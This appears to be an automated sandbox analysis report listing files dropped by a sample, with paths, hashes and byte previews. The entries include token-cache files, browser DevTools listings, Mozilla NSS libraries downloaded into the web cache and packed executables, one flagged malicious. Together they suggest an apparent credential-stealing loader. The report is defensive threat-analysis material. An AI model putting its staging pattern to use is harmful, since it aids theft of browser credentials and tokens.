O97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b4ab7d9a-df80-4e2d-adf4-7a9dbb71c24e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46491
Entropy (8bit):	6.086364330313753
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5rKmf7i1zNtBigX60Ffx4F7BIQmxgpCioFJDSgzMMd6qD47u309:2Mk1rT8HTK3OIQ9FoFtSmd6qE7v
MD5:	A9FD99B3EDD2BFDC88E872FF892197B6
SHA1:	2C4D140E558ED6528CD5A8F4A329506D2D6C70BF
SHA-256:	E1932A0F04ACA09ADF5567CA6AA2A9AC6128A4CB72BB8D7FA8BE013F9F131678
SHA-512:	37F14B36AA5D1D34BC18B1336CA9D0CD245FA2CDF745F8B0E30F48246CA270D73BE2A90EAB6B4C9435E169B59B7B0E14414293D5F540D97FC06BE65BEE10F78B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13377108693133926","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"5eb8f25e-a76c-4553-b186-d0424edac3c6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732635098"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c409bdfe-59de-418f-947d-d44f37aeec2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44976
Entropy (8bit):	6.094958006466372
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWEgi1zNtBigXX90Ffx4F7BKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOfB/KtSmd6qE7lFoC
MD5:	D4B28EB5C6C590FF82E74DD7149329B6
SHA1:	02B0C095F2BC5BC2319EF9B4062CBDFBEDE9CFB3
SHA-256:	66E93A253D2CC256712C7AACEE35482BD9BFF442DE8373874AB4A1519F3E1EBD
SHA-512:	C84DBC2129EE5ADD4A1D26D725081489C06E6122A6914C0909D2BEAEC5F496C1CA06B847E4A8241FC305BDA69DBAAD224602BC8703F0483BD08D5BB19C9FE659
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.852010496095209
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxmaxl9Il8uNjJjrpQdcsDYxy1ad1rc:mt+Y/JjtOcs4y1Z
MD5:	32F9A76E09A33E4AD4DF28A8203FAE31
SHA1:	19F3DF5CDA7831C336F272733D92CE68C12BE025
SHA-256:	C305B7E8D7E94809F92FE09B2975C61BCBBFB13EF7A23DE4C11F6ED73E36AE1E
SHA-512:	32C86D0D7BFB957F55B948BE0D8D5631201DEF921CF1E9AFF771B5E8BC2E7FA9A8C112B7D2B92C0A9C79F78140690F9F4098C0C377736C75766B384B35844D3F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.P.r.U.q.S.B.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.V.J.B.U.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0018935601377645
Encrypted:	false
SSDEEP:	96:9YO0m9jjedQH5nauxF6ZsGwATE0QTfcPK4BhnDinWY:9Km9iQZauxF6ZG0eZ4n4z
MD5:	11B011BF1B623CCA68AE60BFFB1CC55C
SHA1:	FC41C65886953B5D41FCD2ECE8AEBD6E43F41732
SHA-256:	5F31AA628CB8DC51A4DFEF3A1347DCA336B0678AC076B6F31B7C626C82157DDC
SHA-512:	1FB3D0387FE1AE710B7844BBEA07E2605A86A3A7B69F3A0FC8F3B5A8FDF27C4E134FD9C66F195727E007FBE5BC720DE87368C5B73E9FFE531CFCE2D72C4F71F2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".+.G.E.U.j.x.h.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.V.J.B.U.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9005855150108526
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xGxl9Il8ufVM0gqYtl9yj3TU54monOpkWXa9glXBd/vc:asYp1YtXYG4J8DaIg
MD5:	DCF7609BC66644945A54DBF6B68689FB
SHA1:	40E72FA7E84A68AAE6696357A619E2CAEEAE669B
SHA-256:	F21CC24D8244EB50A7FCC2F527F6223A11DB4D7D02A394B308F677A9300D0CB7
SHA-512:	7824B61B6C55A073283A15C9A6BA635789F4BCAEFC20BC68D24EADB77468182B39270692259570F50C0EA55978332E71BCA0B9BE9BBEB9E88371A971B5D3A833
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".I.4.R.8.v.+.l.e.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.V.J.B.U.f.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.39794566986353
Encrypted:	false
SSDEEP:	96:6NnQ7AhHQ72NnQUbQANnQJ8b9QJkNnQ5DdgEQgNnQIQ9NnQIPDQIiNnQ0wQmNnQv:6NRNpNLNwVNKNFPxiNrCN4
MD5:	7908E79419BA80D4F209E68B2FCF790D
SHA1:	93043E056215127957D893B56D8B66ED8C91B459
SHA-256:	C67AA3D93A639EDF2C9FC05CA1C97E8DB21D27DC07D384FCF514570C73E9901A
SHA-512:	ED9CB980EE1E454ED21706BF532F49B6DB09F5D85D757055A5A3D1B2BA34B8B0CAF5CE7CBF3CA7E5A3F69F758057B640EBAF35BAEBF709A52C7DF80F99FB816F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D1BE7815129BBA4BA0AF952405A5EA6D",.. "id": "D1BE7815129BBA4BA0AF952405A5EA6D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D1BE7815129BBA4BA0AF952405A5EA6D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/55C18326E377B11427BB7F8F7CE2B3F0",.. "id": "55C18326E377B11427BB7F8F7CE2B3F0",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/55C18326E377B11427BB7F8F7CE2B3F0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.377153992294031
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQSfNaoQrCxC+QrCt/fNaoQhQXwfNaoQY4i0UrU0U8QYj:6NnQVTEQ6NnQr4tQrcNnQhQMNnQY4i0Q
MD5:	8AC98E465D32443EAF837E11531A6C4F
SHA1:	E970D649CE062644FD3CD3C1EA8C09D3D14E87A2
SHA-256:	ADAAD0B1EFE1FD6CD294399D47A2CAD3F0C179594860EE37FB4D29356C7B9900
SHA-512:	5FC74AC1108DF3FBC22E73061FF1BF326AB508D25FAC3E54F9D43C2EFD6C8C07EA735F3DD36BF4792ECEF13481E40982676D15966086807226C2A2EEAE3AF2E8
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A3BB304D27217F2E72CA82FEB870FC5E",.. "id": "A3BB304D27217F2E72CA82FEB870FC5E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A3BB304D27217F2E72CA82FEB870FC5E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/96608865588FED7FD3FC2E4C6829E442",.. "id": "96608865588FED7FD3FC2E4C6829E442",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/96608865588FED7FD3FC2E4C6829E442"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.952040329967331
Encrypted:	false
SSDEEP:	49152:ZFRd69fbHOJGslqB1ja07WkIWLHMP4fVaN9MoVoWZSw:29TuJ/l8G07WkIWL+4QS4
MD5:	F1D8B74CC714267516F750BEB7E3439E
SHA1:	DAD2568821BC466E1FF3C63E27409BF4504B6B47
SHA-256:	18F61BF8547CAFC9F30BFE9C68289DC575ACC48D9C0BCBF77CD5168FED92CA4A
SHA-512:	3CBAE8BF40B8B94319764ABFD643240641DD3ACCECAEC756A50B566B23C12533862595B2AA0BBBB9B8E6387BDA067DFC05A118C16CCE94BAD1B09F9DF8EC488B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....d.....@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...pcmamdpe.@....1..4..................@...tewptuka......K......*..............@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1828864
Entropy (8bit):	7.948397061620032
Encrypted:	false
SSDEEP:	49152:2Hc80oF0nW2dPTrxN59Fv9jxNmRyJOqYxjc:cF0nW2PnxN59FZH3
MD5:	D8E74ACF219910B5202A9B4F1DFDE49F
SHA1:	33C3C2A7540164C84D4C5DAD7AC9A1724F1AD623
SHA-256:	C6ED5B0C3B1661E82FD4159DE963944DBE68380FFF5DB681D55BB5E9FBDE3D70
SHA-512:	D6BCF32B78F0C9923E14E73FECEC254FACA29B009142012D69FE1E44C20BA29B677AFE4AE8A449E1A567794A5DA1C9014814023230DD8F92C1182DBE00DC9E30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Eg..............................H...........@...........................I...........@.................................\...p....p.............................................................................................................. . .`.......\..................@....rsrc........p.......l..............@....idata .............n..............@... ..)..........p..............@...dmrorfjy.P...p/..P...r..............@...wppahznb......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\051439e5-c4a4-4cbe-aa7b-9be2e5ce164b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
